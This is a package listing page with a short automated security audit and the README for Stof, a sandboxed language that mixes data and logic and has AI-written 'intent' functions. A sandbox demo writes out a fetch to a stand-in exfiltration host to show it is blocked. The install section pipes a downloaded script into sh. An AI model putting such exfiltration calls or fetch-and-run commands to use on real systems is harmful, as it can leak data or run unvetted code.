stof

mcp
Security Audit
Warn
Health Pass
  • License — License: Apache-2.0
  • Description — Repository has a description
  • Active repo — Last push 0 days ago
  • Community trust — 68 GitHub stars
Code Warn
  • process.env — Environment variable access in official/ai/live/anthropic.ts
  • network request — Outbound network request in official/ai/live/anthropic.ts
  • process.env — Environment variable access in official/ai/live/intent.ts
  • process.env — Environment variable access in official/ai/live/mcp.ts
  • process.env — Environment variable access in official/ai/live/openai.ts
Permissions Pass
  • Permissions — No dangerous permissions requested

No AI report is available for this listing yet.

SUMMARY

Just-in-time software: data and logic together in one document that runs anywhere, travels anywhere, and builds itself as it goes. Sandboxed, in Rust, JavaScript, and Python.

README.md

Stof

Just-in-time software.

Data and logic together. Runs anywhere, travels anywhere, builds itself as it goes.

Try it in your browser · Docs · Discord · @cjcbuilds

Intent Programming

intent fn hello() 'print hello world to the console'

fn caller() { self.hello(); }

AI writes the function body to satisfy the intent as it runs. The first call has a model write it, test it, and keep it. Every call after that is plain code without the model (unless the intent changes). Give the doc an Ai with a model, make sure it has keys, and it'll do the rest:

import '@formata/ai';

#[intents]
Ai ai: { intent_model: "anthropic/claude-sonnet-5-5" }

async intent fn fix_my_shit(data: str) -> obj """
    take this unstructured data we got and shape it into an object
    shaped like { name, email, company } that can be transformed and stringified
    back to my app as JSON.
    """

Read about how it works, adding skills, tools, an agent that lives in the doc, executors, and more:

Intents →

Anywhere JSON goes

Stof is data with its logic inside (everything-as-data), and it goes where JSON already does: into your TypeScript,
Python, or Rust app, running in-process, in a sandbox. Parse it from anything, combine it, split it, and export it back
out.

import { StofDoc } from '@formata/stof';

const doc = await StofDoc.new(`
    plan: { rate: 0.02, included: 1000 }
    fn price(units: int) -> float { max(0, units - self.plan.included) * self.plan.rate }
`);

await doc.call('price', 5000);   // 80
doc.stringify('yaml');           // and it's still data: JSON, YAML, TOML, and more
from pystof import Doc

doc = Doc()
doc.parse(open('pricing.stof').read())
doc.call('price', 5000)          # 80.0

Using Stof in your app →

Every user gets their own software

The code that runs and the page that renders don't have to be the same for everyone. Give every account, user, or
dashboard its own doc, and what runs in it can be generated for them, just in time:

const doc = await StofDoc.new(account, 'json');   // this account's data, straight from your DB

const view = await llm('a usage dashboard for this account', { skills: ['our-ui'] });   // your model + your components
doc.parse(view, 'stof', 'dashboard', 'untrusted');

res.send(doc.stringify('html', 'dashboard'));     // their page, made just for them

The model writes a template with your UI components:

#[tag('ui-card')]
usage: {
    #[attr] title: 'Your API usage'
    #[tag('ui-meter')] calls: { #[attr] label: 'API calls', #[attr] value: 1200, #[attr] max: 5000 }
    #[tag('ui-meter')] seats: { #[attr] label: 'Seats', #[attr] value: 42, #[attr] max: 50 }
}

And doc.stringify turns it into the page:

<ui-card title="Your API usage">
    <ui-meter label="API calls" value="1200" max="5000"></ui-meter>
    <ui-meter label="Seats" value="42" max="50"></ui-meter>
</ui-card>

Every doc is its own sandbox, personalized at runtime, for AI-driven interfaces and a lot more.

Formats →

Seal what you trust. Cage what you don't.

Lock down your own code so nothing can touch it, and put the model's code in a box:

seal(<Pricing>);   // mine: nothing in the doc can change this now

seal(self.rules, reads = [self.usage], libs = ['Std', 'Num'], hosts = [], time = 50ms);   // the model's

Now let the model's code try something:

parse('fn price(units: int) -> float { 0 }', <Pricing>);   // nope: sealed
await Http::fetch('https://exfil.example.com');            // nope: no network
root.secrets                                               // null: it can't even see it
while (true) {}                                            // killed at 50ms

That's the default for anything you didn't write: no files, no network, no env, a time and memory limit on every
call, and it only sees what you hand it. It's exactly how intent code runs, too.

Security and the sandbox →

Send logic, not just data

Pack a doc up, functions and all, and ship it:

const blob = blobify('bstf', self.acme);   // compact binary
await Http::fetch('https://edge.example.com/pricing/acme', 'put', blob);

On the other end it's a fresh sandbox. It can't do anything you don't allow, and it gives the same answer (doc is the heap, portable between hosts):

const acme = await StofDoc.new(blob, 'bstf');
await acme.call('price', 5000);   // 80

Import and export →

Install

npm i @formata/stof     # JavaScript / TypeScript
cargo add stof          # Rust
pip install stof        # Python (import pystof)

The CLI

stof run, stof test, packages, and the language server. Prebuilt for macOS, Linux, and Windows (see
stof-cli), or on macOS and Linux:

curl --proto '=https' --tlsv1.2 -LsSf https://github.com/dev-formata-io/stof-cli/releases/latest/download/stof-cli-installer.sh | sh

Embedding

TypeScript / JavaScript

import { stofAsync } from '@formata/stof';

const doc = await stofAsync`
    "name": "Stof"
    fn hello() -> str { \`Hello, \${self.name}!\` }
`;
console.log(await doc.call('hello')); // Hello, Stof!

Python

from pystof import Doc

doc = Doc()
doc.parse('rate: 2\nfn total(units: int) -> float { units * self.rate }')
print(doc.call('total', 21))  # 42.0

Rust

use stof::model::Graph;
use stof::runtime::{Runtime, Val};

let mut graph = Graph::default();
graph.parse_stof_src("rate: 2\nfn total(units: int) -> float { units * self.rate }", None, Default::default())?;
let total = Runtime::call(&mut graph, "total", vec![Val::from(21i64)])?; // 42

Teaching a model Stof: give it content/SKILL.md,
a short guide to the language, with the library references in
content/stof.zip. The npm package ships the same
skill in node_modules/@formata/stof/skill/stof.

FAQ

Does every intent call a model?
Nope. By default an intent gets written once, then it's plain code from there on. It only gets rewritten when its text
or attributes change. If you want a model on every call, give the intent #[each].

How do I trust the code it wrote?
You can read it (ai.intent_source(self.fix_my_shit)), it's only kept once it passes your #[examples] and
#[checks], and it runs sealed, with only the reads, calls, and libraries you gave the intent. Don't like it?
ai.forget_intent(...) and the next call writes it again.

Where does the written code live?
In the doc, with the Ai. Save the doc and the code goes with it; start over from your original source and it gets
written again on the first call. For production, write them all ahead of time (ai.build_intents(...), in CI) and
ship that doc.

What does the first call cost?
One model run while it writes and checks the code: usually seconds, and a handful of model calls. After that it's
plain Stof, so a call takes milliseconds or less, with no model.

Is it actually safe to run a doc a model wrote?
That's the whole point. A doc sees itself and whatever functions your app hands it, and nothing else. Files, env,
imports, and network are off by default in every language, and even with network on it can't reach localhost or your
private network unless you list them. Every call has a time limit (2 minutes by default) and a memory limit (256 MB by
default), so a runaway doc fails its own call, not your app. For code from somewhere else, parse it as untrusted and
seal it. (The stof CLI turns access on, since it's running your own files.)

Can models write Stof?
Yep. It reads like JSON and JavaScript, which every model already knows, and errors point at the exact line with a
plain explanation, so a model can fix its own mistakes. The
skill helps.

Why not have the model write Python and run it in a container?
You can, but now you've got infrastructure, startup time, and a lot of access to lock down, and someone's reviewing a
program. Stof runs in your process, starts instantly, has no access by default, and a change is a diff to a doc.

Why not Lua?
Lua's great for scripting your own app. Stof is for docs that carry their own logic. With Lua the data lives somewhere
else, every host language needs its own binding, and schemas, units, tests, and the sandbox are on you. Stof keeps
data and logic together, runs the same in Rust, JavaScript, and Python, and starts with no access. And any JSON is
already Stof, so there's nothing to migrate.

Why not CEL or JSONLogic?
Expression languages are safe because they're tiny: one expression, no functions, no state. Fine for a single
condition, but you hit the wall fast on pricing, scoring, or an agent's tools. Stof gives you functions, types, and
tests in the same kind of sandbox.

Why not WebAssembly?
Wasm needs a compiler toolchain, and the binaries are big to ship around. Stof is readable, small, and travels with
its data. (The Stof runtime itself is compiled to Wasm for the browser, though.)

Can a doc depend on other docs, or on remote data?
Yes, with one pinned line that works the same everywhere, browser included. The host calls load() after parsing, and
the doc fetches what it needs through the host's own network rules, checks the sha256, and parses it in: Stof, a
package, JSON, CSV, an image, any file. Packages are versioned (the highest one required wins), and the CLI pins,
installs, and updates them:

#[load] fn dependency() { await import('https://github.com/example/package/releases/download/v1.4.0/dependency.pkg', '9f2c...', '@example/[email protected]'); }

Do I have to give up JSON, YAML, or TOML?
No. Stof imports and exports them, so you can add logic to the data you already have.

Learn more

License

Apache 2.0. See LICENSE.

Reviews (0)

No results found